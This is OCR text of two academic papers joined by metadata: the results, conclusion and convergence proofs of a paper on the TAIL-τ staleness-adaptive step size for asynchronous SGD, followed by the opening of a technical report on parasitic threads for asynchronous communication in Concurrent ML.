al., 2018) and (iii) the lock-free and consistent Leashed-SGD algorithm (Bäckström et al., 2021), denoted ASYNC, HOG and LSH, respectively. Executions using our TAIL-\tau function are indicated by the suffix _TAIL. The implementation extends the open Shared-Memory-SGD (Bäckström, 2021) C++ library, connecting ANN operations to low-level implementations of parallel SGD, and is free to use for research purposes. **Figure 2.** Convergence rates for LeNet (left) and a 3-layer MLP (right) for MNIST and Fashion-MNIST recognition training with AsyncSGD, with HOGWILD! (HOG), Leashed-SGD (LSH), and traditional lock-based (ASYNC) implementations. Executions using the instance-based TAIL-$\tau$ staleness-adaptive step size are indicated with the suffix _TAIL. **Figure 3.** Loss over time for HOGWILD! (HOG), Leashed-SGD (LSH), and traditional lock-based (ASYNC) AsyncSGD with parallelism $m = 20$, with and without the TAIL-$\tau$ staleness-adaptive step size (suffix _TAIL) for LeNet (left) and a 3-layer MLP (right). **Figure 4.** Staleness distribution, and the TAIL-$\tau$ scaling factor for LeNet (left) and a 3-layer MLP (right), for MNIST and Fashion-MNIST. **Figure 5.** Loss over time (left), staleness distribution (center), and the TAIL-$\tau$ scaling factor (right) for LeNet training on CIFAR-10. Table 2. Results overview - speedup across the parallelism spectrum achieved by the $\text{TAIL}_\tau$ step size, relative a standard constant one. <table> <thead> <tr> <th>Dataset</th> <th>Architecture</th> <th>Speedup</th> <th>50%-convergence</th> <th>5% (15%-convergence)</th> </tr> </thead> <tbody> <tr> <td></td> <td></td> <td>min</td> <td>max avg success</td> <td>min max avg success</td> </tr> <tr> <td>MNIST</td> <td>LeNet</td> <td>1.12</td> <td>1.75 1.51 1.0</td> <td>1.16 1.92 1.6 1.0</td> </tr> <tr> <td></td> <td>MLP</td> <td>1.30</td> <td>2.0 1.66 1.0</td> <td>1.42 1.99 1.82 3.53</td> </tr> <tr> <td>Fashion-MNIST</td> <td>LeNet</td> <td>1.13</td> <td>1.90 1.48 1.0</td> <td>$\infty$ $\infty$ $\infty$ $\infty$</td> </tr> <tr> <td></td> <td>MLP</td> <td>1.25</td> <td>1.8 1.56 1.0</td> <td>$\infty$ $\infty$ $\infty$ $\infty$</td> </tr> <tr> <td>CIFAR-10</td> <td>LeNet</td> <td>1.03</td> <td>1.43 1.29 1.0</td> <td>- - - -</td> </tr> </tbody> </table> *Ratio between n.o. executions that reached the desired precision for $\text{TAIL}_\tau$ executions vs. standard AsyncSGD Experiment setup. We tackle the problem of ANN training for image classification on the datasets MNIST (LeCun & Cortes, 2010) of hand-written digits, CIFAR-10 (Krizhevsky et al., 2009) of everyday objects, and Fashion-MNIST (Xiao et al., 2017) of clothing article images. All datasets contain 60k images, each belonging to one of ten classes $\in \{0, \ldots, 9\}$. For this, we train a LeNet CNN architecture, as well as a 3-layer MLP, with 128 neurons per layer (denoted MLP in the following), for 100 epochs. We use standard settings and hyper-parameters; For MNIST and Fashion-MNIST training we use a base step size of $\eta_0 = 1e^{-4}$ and mini-batch size 128, while for CIFAR-10 we use $\eta_0 = 5e^{-3}$ and a mini-batch size of 16. The multi-class cross-entropy loss function is used in all experiments. For Leashed-SGD, we use the default setting of an infinite persistence bound. We use a $\text{TAIL}_\tau$ step size function (as in Definition 4.5), that adapts to each unique execution, based on the measured staleness distribution, with an adaptation amplitude of $A = 1$, due to its role in emphasizing fresh updates and dampening stragglers. The experiments are conducted on a 2.10 GHz Intel(R) Xeon(R) E5-2695 two-socket 36-core (18 cores per socket, each supporting two hyper-threads), 64GB non-uniform memory access (NUMA), Ubuntu 16.04 system. Plots show averaged values from 5 executions for each setting, unless otherwise stated. $\epsilon$-convergence is achieved when $L(\theta) < \epsilon$, expressed as % of the initial loss $L(\theta_0)$. The number of executions that fail to reach $\epsilon$-convergence is indicated by $\infty$ at the top, if such executions occurred. This is important, since such executions result in models of insufficient accuracy, and thereby are wasted work. Convergence speedup and scalability. We measure convergence time to first 50% of the initial error (i.e. 50%-convergence), and then to higher precision (5% for MNIST, and 15% for Fashion-MNIST to enable clearer comparison, since baselines rarely converge to this level of precision) across the parallelism spectrum. The results (Figure 2) show that the $\text{TAIL}_\tau$ step size function yields persistent and substantial speedup in convergence time (12% in the worst-case, 100% in the best), for all combinations of datasets, architectures and AsyncSGD implementations (see Table 2 for details). Training plots, showing loss progression over time, are shown in Figure 3, demonstrating the convergence speed being orders of magnitudes faster than standard AsyncSGD. Similar speedup is observed for training on the CIFAR-10 dataset, shown in Figure 5. For higher-precision convergence, non-converging executions are frequent among the standard AsyncSGD algorithms, especially under higher parallelism. Their ability to converge varies, demonstrating the impact of underlying synchronization and progress guarantees. We observe in particular that HOGWILD! achieves fastest overall convergence, while Leashed-SGD provides higher reliability, i.e. lower risk of non-convergence. However, independently of the properties of the AsyncSGD implementation, we observe, in addition to persistently faster convergence, also that the $\text{TAIL}_\tau$ step size ensures a significantly lower risk of non-convergence, hence higher reliability (see Table 2). Staleness-based dampening according to the commonly adopted $\times \tau^{-1}$ scheme, as well as the FLeet 1 exponential dampening (Damaskinos et al., 2020), are evaluated for MLP and LeNet training on MNIST, compared to standard AsyncSGD with constant step size. The results (Figure 6) show, as conjectured in Section 3, convergence of significantly slower rate compared to a constant step size, which in addition (as opposed to TAIL-$\tau$, as well as constant step size) decays with higher parallelism due to the reduced overall step size magnitude. The speedup of $\text{TAIL}_\tau$ compared to constant step size is shown in Figure 2 and 3. Instance-based adaptiveness. Figure 4 shows the staleness distribution of the AsyncSGD algorithms for LeNet and MLP, along with the corresponding $\text{TAIL}_\tau$ step size scaling factors, generated dynamically based on the staleness distribution of the particular execution. We observe, as expected from Section 4, that the staleness-adaptive step size strategies, generated by TAIL-$\tau$, emphasize fresh updates and diminish the impact of stale ones, taking into consideration the underlying execution-specific staleness distribution. This, as shown above, results in increased stability, i.e. lowered risk of non-convergence, as well as significant increase in convergence rates. Note that considering standard SGD eliminates side-effects of ‘add-ons’, enabling clearer comparisons. Other step-size-altering methods (e.g. ADAM or schedules) can be used in conjunction, by applying them to 1As in the original paper, we use the dampening factor $\Lambda(\tau) = e^{-\beta \tau}$, where $\beta$ satisfies $(\tau_{\text{thres}}/2 + 1)^{-1} = e^{-\beta \tau_{\text{thres}}/2}$, where $\tau_{\text{thres}}$ is the beginning of the staleness distribution tail, which we consider to be $\tau_{\text{thres}} = m + 1$ here, based on observation. The similarity-based boosting option was not considered here. \( \eta_0 \) (Def. 4.4) and is a relevant target of future studies. **System-related insights.** The emerging \( \tau \) distribution of an AsyncSGD execution is influenced by many underlying factors, including (i) the compute infrastructure (UMA/NUMA, hyper-threading), (ii) consistency guarantees, and the associated synchronization mechanisms (e.g., loose consistency as in Hogwild!, lock-based, or Leashed-SGD etc), (iii) gradient computation vs application time, (iv) number of threads. Several works (Ben-Nun & Hoefler, 2019; Bäckström, 2021) are dedicated to studying this, however the nature of this dependency is an open problem. Although this is not the main scope here, we see that implicitly adapting to the aforementioned aspects, through the PDF(\( \tau \)) signature, yields significant practical benefits, as we show with TAIL-\( \tau \). 7. Conclusion We introduce ASAP.SGD - a framework for capturing essential properties of general staleness-adaptive step size functions for AsyncSGD, providing structure to the domain of staleness-adaptiveness, and can guide the design of new adaptive step size strategies. Within ASAP.SGD, we introduce the first instance-based dynamic step size function, TAIL-\( \tau \), which generates a tailored adaptiveness strategy for each unique execution. We analyze general ASAP.SGD functions for AsyncSGD, as well as TAIL-\( \tau \) in particular, and recover convergence bounds for both convex and non-convex problems, as well as establish new bounds for ones satisfying the Polyak-Lojasiewicz condition. We implement TAIL-\( \tau \), extending existing AsyncSGD implementations, to provide a platform for further research in the domain. The evaluation covers three implementations of AsyncSGD, with fundamentally different algorithmic properties, for training LeNet and an MLP for image recognition on MNIST and Fashion-MNIST. The results show that TAIL-\( \tau \) is a vital component for AsyncSGD practical deployments, due to its ability to, based on the properties of the unique execution, generate an adaptiveness strategy tailored to the specific execution, yielding persistent speedup across the entire parallelism spectrum, and tremendous increase in reliability to converge, in particular to high precision. Efficiency is important not only for timeliness, but also for resource utilization, considering especially how energy-consuming is e.g. ANN training (Sorbaro et al., 2020). **Acknowledgements** This work is supported by the Wallenberg AI, Autonomous Systems and Software Program (WASP), Knut and Alice Wallenberg Foundation; the Swedish Research Council (Vetenskapsrådet) – projects: “EPITOME” 2021-05424 and “Relaxed Concurrent Data Structure Semantics for Scalable Data Processing” 2021-05443; and Chalmers AoA frameworks Energy and Production, proj. INDEED, and WP “Scalability, Big Data and AI”. **References** ASAP.SGD: Instance-based Adaptiveness to Staleness in Asynchronous SGD A. Technical Appendix A.1. General TAIL-\(\tau\) function definition We introduce an additional degree of generalization for the TAIL-\(\tau\) function, which allows significantly broader flexibility in design choices, while still satisfying the properties of the ASAP.SGD framework, and enjoying the convergence guarantees established in Section 5. **Theorem A.1.** Let a staleness-adaptive step size function \(\eta\) be \[ \eta(\tau : \eta^0) = C_{s,\phi}(\tau) \cdot \eta^0 \] where the scaling factor is given by \[ C_{s,\phi}(\tau) = 1 + A \cdot (1 - 2 \phi(F_\tilde{\tau}(\tau))) \] for some amplitude factor \(A \in [0, 1]\) and some non-decreasing function \(\phi : [0, 1] \rightarrow [0, 1]\). If \(\phi\) satisfies \[ \int_0^1 \phi(x) \, dx = \frac{1}{2}, \; \phi(0) = 0, \; \phi(1) = 1 \] then \(\eta\) is (i) mean-preserving and (ii) priority-preserving. The choice of the function \(\phi\) now allows customizing the rate with which \(\eta\) adapts to different ranges of staleness. **Proof of Theorem A.1.** (i) Mean-preservation follows from \[ E[C_{s,\phi}(\tau)] = \sum_{\tau=1}^{\infty} (1 + A \cdot (1 - 2 \phi(F_\tilde{\tau}(\tau)))) p_\tilde{\tau}(\tau) \] \[ = 1 + A \cdot \left(1 - 2 \sum_{\tau=1}^{\infty} \phi(F_\tilde{\tau}(\tau)) p_\tilde{\tau}(\tau)\right) \] Let \(f\) extend \(p\) so that \(F_\tilde{\tau}(t) = p_\tilde{\tau}(\tau)\) for \(t \in (\tau-1, \tau)\). Then we have \[ E[C_{s,\phi}(\tau)] = 1 + A \cdot \left(1 - 2 \int_{\tau=0}^{\infty} \phi(F_\tilde{\tau}(\tau)) f_\tilde{\tau}(\tau) \, d\tau\right) \] \[ = 1 + A \cdot \left(1 - 2 \int_{\tau=0}^{1} \phi(F_\tilde{\tau}(\tau)) \, dF_\tilde{\tau}(\tau)\right) = 1 \] (ii) Priority-preservation follows directly from that \(F_\tilde{\tau}(\tau)\) is a CDF, hence non-decreasing, and the assumptions on \(A\) and \(\phi\). A.2. Proofs of Lemmas and Theorems that appear in the main part of the paper In this section we present the proofs omitted in the main text. **Proof of Theorem 4.6.** The statement is a special case, and follows from, Theorem A.1, with \(\phi(\tau) = \tau\), which satisfies the requirements on \(\phi(\tau)\) (13). **Proof of Lemma 4.7.** (i)-(ii) follow directly from Definition 4.5. (iii): \[ Var[\eta(\tau)] = E[\eta(\tau)^2] - \eta^2 \] \[ = \sum_{\tau=1}^{\infty} (1 + A(1 - 2F(\tau))\tilde{\eta})^2 p_\tilde{\tau}(\tau) - \tilde{\eta}^2 = \left(\frac{1}{6A} (1 + A(1 - 2F(\tau)))^3 \bigg|_{\tau=\infty}^{0} - 1\right) \tilde{\eta}^2 \] \[ = \left(\frac{1}{6A} ((1 + A)^3 - (1 - A)^3) - 1\right) \tilde{\eta}^2 = \frac{1}{3}(A\tilde{\eta})^2 \] (iv): \[ C_A(\tau) = 1 + A(1 - 2F(\tau)) \] \[ = 1 + A (2 (1 - F(\tau)) - 1) \] Markov’s inequality now gives \[ C_A(\tau) \leq 1 + A \left( \frac{L}{\tau} E[\tau] - 1 \right) \] Now, assuming \( E[\tau] \approx m - 1 \), \( m \) being the number of threads, concludes the proof. Based on empirical studies, it has been observed that such an assumed condition is reasonable, generally holding in practice (Bäckström et al., 2019; Zhang et al., 2016). Proof of Lemma 5.3. From assumption 5.1 we have in particular \[ L(\theta_{t+1}) - L(\theta_t) - \langle \nabla L(\theta_t), \theta_{t+1} - \theta_t \rangle \leq \frac{C}{2} \| \theta_{t+1} - \theta_t \|^2 \] From the SGD step we have \[ L(\theta_{t+1}) - L(\theta_t) - \eta_t \langle \nabla L(\theta_t), \nabla L(\theta_t) \rangle - \eta_t \| \nabla L(\theta_t) \|^2 \] \[ \approx L(\theta_{t+1}) - L(\theta_t) + \eta_t \langle \nabla L(\theta_t), \nabla L(\theta_t) \rangle - \eta_t \| \nabla L(\theta_t) \|^2 \] \[ \leq \frac{C}{2} \eta_t^2 \| \nabla L(\theta_t) \|^2 \] We have by assumption 5.1, and the triangle inequality \[ \| \nabla L(\theta_t) - \nabla L(\theta_{t+1}) \| \leq C \| \theta_t - \theta_{t+1} \| \] \[ \Rightarrow L(\theta_{t+1}) - L(\theta_t) + \eta_t \langle \nabla L(\theta_t), \nabla L(\theta_t) \rangle - \eta_t \| \nabla L(\theta_t) \|^2 \] \[ \leq \frac{C}{2} \eta_t^2 \| \nabla L(\theta_t) \|^2 \] Take expectation conditioned on the last staleness \( \tau_t \). From mean-independence, we have \[ E[L(\theta_{t+1}) - L(\theta_t) | \tau_t] + \eta_t E[\| \nabla L(\theta_t) \|^2] - \eta_t \| \nabla L(\theta_t) \|^2 \] \[ \leq \frac{C}{2} \eta_t^2 E[\| \nabla L(\theta_t) \|^2] \leq \frac{C}{2} M^2 \eta_t^2 \] Applying Hölder’s inequality, and that \( E[\tau_t] = E[\tau] \) \( \forall t \) \[ E[L(\theta_{t+1}) - L(\theta_t) | \tau_t] + \eta_t E[\| \nabla L(\theta_t) \|^2] - \eta_t \| \nabla L(\theta_t) \|^2 \] \[ \leq \frac{C}{2} \eta_t^2 E[\| \nabla L(\theta_t) \|^2] \leq \frac{C}{2} M^2 \eta_t^2 \] \[ \Rightarrow E[L(\theta_{t+1}) - L(\theta_t) | \tau_t] + \eta_t E[\| \nabla L(\theta_t) \|^2] - \tau_t \eta_t \| \nabla L(\theta_t) \|^2 \leq \frac{C}{2} M^2 \eta_t^2 \] Now, take full expectation \[ E[L(\theta_{t+1}) - L(\theta_t)] + E[\| \nabla L(\theta_t) \|^2] - E[\tau \eta_t \| \nabla L(\theta_t) \|^2] \leq \frac{C}{2} M^2 \eta_t^2 \] which concludes the proof. Proof of Theorem 5.6. From Corollary 5.5, we have \[ E[\| \nabla L(\theta_t) \|^2] \leq \frac{E[L(\theta_t) - L(\theta_{t+1})]}{\eta_t} + \mathcal{L} M \eta_t \left( \frac{A^2}{6} + \tau \right) \] \[ \Rightarrow \frac{1}{T} \sum_{t=0}^{T-1} E[\| \nabla L(\theta_t) \|^2] \leq \frac{\delta}{\eta_t T} + \mathcal{L} M^2 \eta_t \left( \frac{A^2}{6} + \tau \right) \] which implies in particular that min \( E[\| \nabla L(\theta_t) \|^2] \) satisfies the above upper bound as well. The bound now rewrites as in the statement by substituting \( \eta_t \) for (10), which concludes the proof. A.3. Convex convergence For the sake of self-containment, we establish fundamental convex convergence bounds for (i) arbitrary staleness-adaptive step size functions, (ii) ones satisfying the ASAP.SGD properties, as well as (iii) the TAIL-τ function. For this, we will require also strong convexity: **Assumption A.2.** \( L \) is strongly convex with parameter \( C \) \[ E[(x - y)^T (\nabla L(x) - \nabla L(y))] \geq C \|x - y\|^2 \quad \forall x, y \] **Theorem A.3.** Consider the unconstrained optimization problem of (1). Under Assumptions 5.1, 5.2, and A.2, for any precision \( \epsilon > 0 \), and for any staleness-adaptive step size function \( \eta \) (Definition 4.1), there is a number \( T \) of AsyncSGD iterations, of the form (3) such that \( E[\|\theta_T - \theta^*\|^2] < \epsilon \), where \( T \) is bounded by: \[ T \leq \frac{\ln (\|\theta_0 - \theta^*\|^2 \epsilon^{-1})}{2(C - L M \epsilon^{-1/2} E[\tau \eta]) \bar{\eta} - \epsilon^{-1} M^2 E[\eta^2]} \] **Corollary A.4.** Under the same conditions as Theorem A.3, let \( \eta_T \) be ASAP.SGD adaptive step size function. Then we have the following bound on the expected number of iterations until expected convergence: \[ T \leq \frac{\ln (\|\theta_0 - \theta^*\|^2 \epsilon^{-1})}{2C \bar{\eta} - \epsilon^{-1} M (M + 2L \sqrt{C \bar{\tau}}) E[\eta^2]} \] **Corollary A.5.** Under the same conditions as Theorem A.3, let additionally \( \eta_t \) be TAIL-τ step size function. Then we have the following bound on the expected number of iterations until expected convergence: \[ T \leq \frac{\ln (\|\theta_0 - \theta^*\|^2 \epsilon^{-1})}{2C \bar{\eta} - \epsilon^{-1} M (M + 2L \sqrt{C \bar{\tau}}) (1 + \frac{A^2}{\bar{\eta}^2}) \bar{\eta}^2} \] The proofs for Theorem A.3, and Corollary A.4, A.5 build on and extend the results in (Bäckström et al., 2019), and follow from the properties of ASAP.SGD and TAIL-τ, specified in Section 4. A.4. Additional Empirical Results Figure 7 provides an overview of the scalability of all algorithms evaluated here for MNIST and Fashion-MNIST, respectively, over a large parallelism spectrum. We observe speedup until around 32 threads, at which the system saturates and does not benefit from higher parallelism. The different algorithms perform differently at different parallelism levels. In particular, under hyper-threading \((m > 36)\), the AsyncSGD implementations suffer a slower convergence due to increased computational overhead and asynchrony-induced noise. However, in all instances, TAIL-τ provides significant speedup, independently of the algorithm, dataset, and parallelism level. Figure 8 and 9 show staleness distributions of the considered AsyncSGD algorithms for LeNet and MLP training, respectively, together with the corresponding scaling factors \( C_A \) of the staleness-adaptive TAIL-τ step size functions. The AsyncSGD implementations have fundamentally different staleness distributions, due to the underlying algorithmic mechanisms for progress and consistency. Moreover, we observe multi-modality in some executions, in particular under hyper-threaded parallelism \((m > 36)\), and for lock-based AsyncSGD due congestion about the locks. The execution-specific staleness distributions are utilized by TAIL-τ to generate an instance-based adaptiveness strategy, accommodating for algorithmic differences and underlying system aspects, enabling the improvements in convergence rates and stability that are observed in Section 6. AsyncSGD: Instance-based Adaptiveness to Staleness in Asynchronous SGD **Figure 7.** AsyncSGD convergence rates over a wide parallelism spectrum, including hyper-threading (tn > 36), for HOGWILD! (HOG), Leashed-SGD (LSH), and lock-based (ASYNC), comparing executions using the staleness-adaptive TAIL-τ (suffix: _TAIL) against standard, constant step size. **Figure 8.** Staleness distributions for the considered AsyncSGD algorithms (upper row) and the corresponding scaling factors C_A of the generated staleness-adaptive TAIL-τ step sizes, as in Definition 4.1 (bottom row) for LeNet training on MNIST and Fashion-MNIST. ### A.5. Evaluation of staleness-based static dampening Figure 10 and 6 show convergence rates and training plots under varying parallelism for the $\times \tau^{-1}$ scheme which, with some variation, appears often in previous works (Sra et al., 2016; Zhang et al., 2016; Ren et al., 2020), compared to standard AsyncSGD with constant step size. For both LeNet and MLP training for MNIST recognition, we observe significant challenges with achieving convergence rates within the same order of magnitude as traditional, constant step size, AsyncSGD. This, in contrast with TAIL-τ which, as shown in Section 6, provides persistent, and significant, speedup in convergence rates. The straight-forward $\times \tau^{-1}$ step size suffers significant challenges in achieving convergence, especially under higher parallelism, as explained in Section 3. Figure 10. Convergence rates on MNIST for LeNet and a 3-layer MLP with AsyncSGD, with Hogwild! (HOG), Leashed-SGD (LSH), and traditional lock-based (ASYNC) implementations, comparing executions using the $\times \tau^{-1}$ staleness-adaptive scheme (suffix: _Tau^-1) against standard, constant step size.
{"Source-Url": "https://proceedings.mlr.press/v162/backstrom22a/backstrom22a.pdf", "len_cl100k_base": 14546, "olmocr-version": "0.1.50", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 75733, "total-output-tokens": 17807, "length": "2e13", "weborganizer": {"__label__adult": 0.0005402565002441406, "__label__art_design": 0.0007381439208984375, "__label__crime_law": 0.0005970001220703125, "__label__education_jobs": 0.0012426376342773438, "__label__entertainment": 0.0002225637435913086, "__label__fashion_beauty": 0.0003249645233154297, "__label__finance_business": 0.0005745887756347656, "__label__food_dining": 0.0005598068237304688, "__label__games": 0.0016155242919921875, "__label__hardware": 0.00209808349609375, "__label__health": 0.0015077590942382812, "__label__history": 0.0006661415100097656, "__label__home_hobbies": 0.0001575946807861328, "__label__industrial": 0.0007963180541992188, "__label__literature": 0.0005121231079101562, "__label__politics": 0.0006890296936035156, "__label__religion": 0.0008525848388671875, "__label__science_tech": 0.374755859375, "__label__social_life": 0.00012826919555664062, "__label__software": 0.01088714599609375, "__label__software_dev": 0.59912109375, "__label__sports_fitness": 0.0004701614379882813, "__label__transportation": 0.0007615089416503906, "__label__travel": 0.000339508056640625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 59473, 0.03451]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 59473, 0.35648]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 59473, 0.81869]], "google_gemma-3-12b-it_contains_pii": [[0, 4330, false], [4330, 10176, null], [10176, 15020, null], [15020, 21170, null], [21170, 26201, null], [26201, 32604, null], [32604, 33503, null], [33503, 39776, null], [39776, 43426, null], [43426, 47981, null], [47981, 48634, null], [48634, 51307, null], [51307, 54200, null], [54200, 57690, null], [57690, 58906, null], [58906, 59473, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4330, true], [4330, 10176, null], [10176, 15020, null], [15020, 21170, null], [21170, 26201, null], [26201, 32604, null], [32604, 33503, null], [33503, 39776, null], [39776, 43426, null], [43426, 47981, null], [47981, 48634, null], [48634, 51307, null], [51307, 54200, null], [54200, 57690, null], [57690, 58906, null], [58906, 59473, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 59473, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 59473, null]], "pdf_page_numbers": [[0, 4330, 1], [4330, 10176, 2], [10176, 15020, 3], [15020, 21170, 4], [21170, 26201, 5], [26201, 32604, 6], [32604, 33503, 7], [33503, 39776, 8], [39776, 43426, 9], [43426, 47981, 10], [47981, 48634, 11], [48634, 51307, 12], [51307, 54200, 13], [54200, 57690, 14], [57690, 58906, 15], [58906, 59473, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 59473, 0.02658]]}
olmocr_science_pdfs
2024-11-29
2024-11-29
d8568abc323dde72b4e686dbe1321d1c84d2799b
[REMOVED]
{"len_cl100k_base": 12421, "olmocr-version": "0.1.50", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 33950, "total-output-tokens": 14719, "length": "2e13", "weborganizer": {"__label__adult": 0.0004072189331054687, "__label__art_design": 0.0005788803100585938, "__label__crime_law": 0.00051116943359375, "__label__education_jobs": 0.0016393661499023438, "__label__entertainment": 0.00012230873107910156, "__label__fashion_beauty": 0.0002161264419555664, "__label__finance_business": 0.00049591064453125, "__label__food_dining": 0.0005426406860351562, "__label__games": 0.0009851455688476562, "__label__hardware": 0.0017709732055664062, "__label__health": 0.001338958740234375, "__label__history": 0.0004420280456542969, "__label__home_hobbies": 0.00029754638671875, "__label__industrial": 0.0011339187622070312, "__label__literature": 0.0004134178161621094, "__label__politics": 0.0004701614379882813, "__label__religion": 0.000797271728515625, "__label__science_tech": 0.351318359375, "__label__social_life": 0.00014722347259521484, "__label__software": 0.00827789306640625, "__label__software_dev": 0.62646484375, "__label__sports_fitness": 0.0004172325134277344, "__label__transportation": 0.0009403228759765624, "__label__travel": 0.0002453327178955078}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 39994, 0.03563]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 39994, 0.4325]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 39994, 0.76696]], "google_gemma-3-12b-it_contains_pii": [[0, 2429, false], [2429, 9498, null], [9498, 16201, null], [16201, 22385, null], [22385, 28332, null], [28332, 34344, null], [34344, 39576, null], [39576, 39994, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2429, true], [2429, 9498, null], [9498, 16201, null], [16201, 22385, null], [22385, 28332, null], [28332, 34344, null], [34344, 39576, null], [39576, 39994, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 39994, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 39994, null]], "pdf_page_numbers": [[0, 2429, 1], [2429, 9498, 2], [9498, 16201, 3], [16201, 22385, 4], [22385, 28332, 5], [28332, 34344, 6], [34344, 39576, 7], [39576, 39994, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 39994, 0.0]]}
olmocr_science_pdfs
2024-11-29
2024-11-29
eca0810d847fd0214955407db9da4796c33ae060
2011 Featherweight Threads for Communication KC Sivaramakrishnan *Purdue University*, chandras@cs.purdue.edu Lukasz Ziarek *Purdue University*, lziarek@cs.purdue.edu Suresh Jagannathan *Purdue University*, suresh@cs.purdue.edu Report Number: https://docs.lib.purdue.edu/cstech/1749 This document has been made available through Purdue e-Pubs, a service of the Purdue University Libraries. Please contact epubs@purdue.edu for additional information. Featherweight Threads for Communication KC Sivaramakrishnan Lukasz Ziarek Suresh Jagannathan Purdue University {chandras, lziarek, suresh}@cs.purdue.edu Abstract Message-passing is an attractive thread coordination mechanism because it cleanly delineates points in an execution when threads communicate, and unifies synchronization and communication. To enable greater performance, asynchronous or non-blocking extensions are usually provided, that allow senders and receivers to proceed even if a matching partner is unavailable. However, realizing the potential of these techniques in practice has remained a difficult endeavor due to the associated runtime overheads. We introduce parasitic threads, a novel mechanism for expressing asynchronous computation, aimed at reducing runtime overheads. Parasitic threads are implemented as raw stack frames within the context of its host — a lightweight thread. Parasitic threads are self-scheduled and migrated based on their communication patterns. This avoids scheduling overheads and localizes interaction between parasites. We describe an implementation of parasitic threads and illustrate their utility in building efficient asynchronous primitives. We present an extensive evaluation of parasitic threads in a large collection of benchmarks, including a full fledged web-server. Evaluation is performed on two garbage collection schemes — a stop-the-world garbage collector and a split-heap parallel garbage collector — and shows that parasitic threads improve the performance in both cases. 1. Introduction Asynchrony is a well known technique for extracting additional throughput from programs by allowing conceptually separate computations to overlap their executions. Typically programmers leverage asynchrony to mask high latency computations or to achieve greater parallelism. Asynchrony can either be realized through specialized primitives (i.e. asynchronous sends in Erlang or MPI), allowing the primitive action to execute asynchronously with the computation that initiated the action, or in a more general form through threads. Threads, in all their various forms (native [5], asyncs [6], sparks [18], and others [9, 24]), provide a conceptually simple language mechanism for achieving asynchrony. Threads, unlike specialized asynchronous primitives, are general purpose: they act as vessels for arbitrary computation. Unfortunately, harnessing threads for asynchrony typically comes at a cost. Instead of utilizing threads where conceptually asynchrony could be leveraged, programmers must often reason about whether the runtime cost of creating a thread, thread scheduling, and any synchronization the thread may perform outweigh the benefit of performing the desired computation asynchronously. It is precisely for this reason that specialized primitives are typically the de facto standard for most programming languages. However, we observe that in a language like Concurrent ML (CML) [26], with first class events, as well as in other functional language runtimes [7], asynchrony achieved through threads provides a powerful yet simple mechanism for constructing runtime abstractions. To illustrate, consider the steps involved in the construction of a language abstraction, in CML terms a combinator, chooseAll, which conceptually synchronizes between multiple threads, gathering a value from each. val chooseAll : 'a event list -> 'a list event Given a list of events — computations which contain a synchronization mechanism — chooseAll returns an abstraction that collects all of the results of the individual events, when invoked. Notice that the events from which chooseAll was constructed can be executed in any order. An abstraction such as chooseAll is typically used to build collective communication operations like scatter, gather, reduce, etc. Consider implementing chooseAll by synchronously mapping over the list of events and collecting each of their results in order, one by one. Figure 1a illustrates the behavior of this synchronous encoding. The dotted box represents the execution of chooseAll. The thread T0, executing chooseAll, collects the result of the events one by one, and finally resumes execution with the aggregate. Though this simple construction captures the desired behavior, it obviously suffers from performance bottlenecks. Since each of the events in the list can embody a complex computation, they can take arbitrarily long to execute. For example, if the first event in the list takes the longest time to complete, the rest of the events will stall until its completion. This halts progress on threads that might be waiting for one of the events in the list to complete. In order to allow for greater concurrency, we might consider spawning lightweight threads to execute each of the events in the list and then aggregate the results of the various computations. The execution of such an abstraction is presented in Figure 1b. Here, the thread \( T_0 \) executing \texttt{chooseAll} is suspended until all the results are gathered. New lightweight threads \( T_1 \) to \( T_n \) are created to execute corresponding events. Each lightweight thread will place the result of the event it executes in its corresponding slot in the result list. After all of the threads have completed execution, \( T_0 \) is resumed with the result 